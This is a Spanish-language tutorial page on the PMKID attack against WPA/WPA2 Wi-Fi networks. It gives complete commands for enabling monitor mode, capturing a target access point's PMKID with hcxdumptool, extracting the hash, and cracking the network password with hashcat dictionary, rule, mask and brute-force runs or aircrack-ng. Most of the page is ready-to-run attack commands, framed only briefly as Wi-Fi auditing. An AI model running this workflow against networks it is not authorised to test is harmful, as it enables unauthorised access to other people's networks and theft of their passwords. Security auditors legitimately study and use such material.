pmkid-attack
PMKID Attack
Section titled “PMKID Attack”El PMKID (Pairwise Master Key Identifier) es un identificador de 128 bits incluido en el primer mensaje del handshake de 4 vías (EAPOL Message 1). Fue descubierto como vector de ataque en 2018 por Jens Steube (autor de hashcat).
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || BSSID_AP || MAC_Cliente)PMK = PBKDF2(HMAC-SHA1, Contraseña, SSID, 4096, 256)
→ El PMKID se puede calcular directamente desde la contraseña→ No es necesario el handshake completo (mensajes 2, 3, 4)→ No es necesario que ningún cliente esté conectadoVentajas del PMKID sobre el Handshake clásico
Section titled “Ventajas del PMKID sobre el Handshake clásico”| Handshake 4-Way | PMKID Attack | |
|---|---|---|
| Clientes necesarios | SÍ (mínimo 1) | NO |
| Deauth necesario | SÍ (para acelerar) | NO |
| Ruido generado | Medio-alto | Mínimo |
| Tiempo de captura | Segundos-minutos | Segundos |
| Compatibilidad | Todos los APs | APs con roaming (80-90%) |
| Formato de cracking | Mismo (hashcat -m 22000) | Mismo |
Preparación
Section titled “Preparación”# Verificar que hcxtools está instaladohcxdumptool --versionhcxpcapngtool --version
# Instalar si no estánapt install hcxtools hcxdumptool
# Activar modo monitorairmon-ng check killairmon-ng start wlan0Paso 1 — Capturar el PMKID con hcxdumptool
Section titled “Paso 1 — Capturar el PMKID con hcxdumptool”# Captura básica — todos los APs del entornohcxdumptool -i wlan0mon -o captura_pmkid.pcapng --enable_status=3
# La herramienta muestra en tiempo real:# [+] PMKID → PMKID capturado ← esto es lo que buscamos# [+] EAPOL → handshake capturado (también válido)# [+] M1M2 → mensajes 1 y 2 del handshake
# Cuando aparezca "[+] PMKID" para el AP objetivo → Ctrl+C# (Puede tardar desde segundos hasta minutos dependiendo del AP)Filtrar por AP específico
Section titled “Filtrar por AP específico”# Crear archivo con el BSSID objetivo (sin dos puntos, en minúsculas)echo "aabbccddeeff" > ap_objetivo.txt
# Capturar solo el PMKID del AP específicohcxdumptool -i wlan0mon \ -o pmkid_objetivo.pcapng \ --enable_status=3 \ --filterlist_ap=ap_objetivo.txt \ --filtermode=2
# --filtermode=2 → capturar SOLO los APs de la lista# --filtermode=1 → capturar TODOS excepto los de la listaCapturar PMKID y handshakes simultáneamente
Section titled “Capturar PMKID y handshakes simultáneamente”# hcxdumptool captura ambos formatos en el mismo archivo# Especialmente útil si el PMKID no está disponible en un APhcxdumptool -i wlan0mon \ -o captura_completa.pcapng \ --enable_status=3 \ --filterlist_ap=ap_objetivo.txt \ --filtermode=2 \ --active_beacon # envía beacons para provocar respuestas
# Opciones útiles adicionales:# --rcascan → escaneo de canales automático# --channel=6 → fijar canal específico# --filterlist_sta=clientes.txt → filtrar por clientes específicosPaso 2 — Extraer el hash del pcapng
Section titled “Paso 2 — Extraer el hash del pcapng”# Extraer PMKID y EAPOL del archivo de capturahcxpcapngtool -o hash.22000 captura_pmkid.pcapng
# Verificar que se generaron hashescat hash.22000
# Formato del hash (modo 22000):# WPA*01*PMKID*BSSID*CLIENTMAC*ESSID_HEX*... ← PMKID# WPA*02*HASH*BSSID*CLIENTMAC*ESSID_HEX*... ← EAPOL handshake
# WPA*01* → PMKID# WPA*02* → EAPOL (handshake)
# Si quieres solo los PMKID (sin los EAPOL):grep "WPA\*01\*" hash.22000 > solo_pmkid.22000
# Información adicional del pcapnghcxpcapngtool captura_pmkid.pcapng# Muestra: APs encontrados, clientes, PMKIDs, handshakesExtraer información adicional
Section titled “Extraer información adicional”# Ver los ESSIDs capturados (en texto claro)hcxpcapngtool captura_pmkid.pcapng --essid-wordlist=essids.txtcat essids.txt
# Ver información detallada de cada APhcxpcapngtool captura_pmkid.pcapng -E essids_completo.txt \ -I identidades.txt -U usuarios.txt
# Generar wordlist a partir de los ESSIDs capturados# (Las contraseñas suelen estar relacionadas con el nombre de la red)cat essids.txt | tr '[:upper:]' '[:lower:]' >> wordlist_custom.txtPaso 3 — Cracking con Hashcat
Section titled “Paso 3 — Cracking con Hashcat”El formato .22000 unifica PMKID y EAPOL en un mismo modo de hashcat.
# Ataque por diccionariohashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt
# Con reglas (más efectivo)hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule
# Ataque por máscara — 8 dígitos (routers con PIN como contraseña)hashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d
# Fuerza bruta de 8 caracteres alfanuméricoshashcat -m 22000 hash.22000 -a 3 ?a?a?a?a?a?a?a?a
# Wordlist específica para Wi-Fihashcat -m 22000 hash.22000 \ /usr/share/seclists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt
# Múltiples wordlists a la vezhashcat -m 22000 hash.22000 \ /usr/share/wordlists/rockyou.txt \ /usr/share/wordlists/fasttrack.txt \ wordlist_custom.txt
# Ver contraseña si ya fue crackeada anteshashcat -m 22000 hash.22000 --showPaso 4 — Cracking con aircrack-ng
Section titled “Paso 4 — Cracking con aircrack-ng ”# Convertir .22000 a .hccapx para aircrack (si se prefiere)# O usar directamente el .cap capturado (si también capturó handshake)
aircrack-ng captura_pmkid.pcapng -w /usr/share/wordlists/rockyou.txtPor qué algunos APs no son vulnerables al PMKID
Section titled “Por qué algunos APs no son vulnerables al PMKID”APs que NO incluyen PMKID en EAPOL Message 1:→ Routers con firmware muy antiguo (anterior a 802.11r)→ Algunos modelos Mikrotik→ Algunos APs enterprise con configuración estricta→ APs con WPA3 (SAE en lugar de PSK)
En ese caso:→ Usar el handshake clásico (Página anterior)→ Usar hcxdumptool igualmente: capturará el EAPOL handshake aunque no haya PMKID disponibleFlujo completo resumido
Section titled “Flujo completo resumido”# 1. Preparar entornoairmon-ng check killairmon-ng start wlan0
# 2. Identificar el objetivoairodump-ng wlan0mon # anotar BSSID
# 3. Preparar filtroecho "BSSIDSINPUNTOS" > target.txt # ej: aabbccddeeff
# 4. Capturar PMKIDhcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=3 \ --filterlist_ap=target.txt \ --filtermode=2# Ctrl+C cuando veas [+] PMKID
# 5. Extraer hashhcxpcapngtool -o hash.22000 pmkid.pcapng
# 6. Crackearhashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule
# 7. Ver resultadohashcat -m 22000 hash.22000 --showCombinar PMKID + Handshake en una sola captura
Section titled “Combinar PMKID + Handshake en una sola captura”# hcxdumptool captura ambos automáticamente# Si un AP no tiene PMKID → igualmente capturará el handshake# (si hay clientes o si se genera tráfico)
hcxdumptool -i wlan0mon \ -o captura_total.pcapng \ --enable_status=3 \ --filterlist_ap=target.txt \ --filtermode=2
# hcxpcapngtool extrae ambos al mismo archivo .22000hcxpcapngtool -o hash_total.22000 captura_total.pcapng
# hashcat -m 22000 trabaja con ambos formatos (PMKID y EAPOL) a la vezhashcat -m 22000 hash_total.22000 /usr/share/wordlists/rockyou.txtEl PMKID attack es más silencioso que el handshake clásico porque no requiere enviar paquetes de deauth. Es la técnica recomendada como primer intento en cualquier auditoría Wi-Fi.
Si
hcxdumptoollleva varios minutos sin capturar un PMKID, el AP probablemente no lo incluye. Cambiar a la técnica de handshake con deauth o intentar PMKID en otro canal si el AP tiene múltiples radios.
El archivo
.22000puede contener múltiples hashes de distintos APs si no se filtra. Usar--showcon cuidado para no confundir los resultados de distintas redes.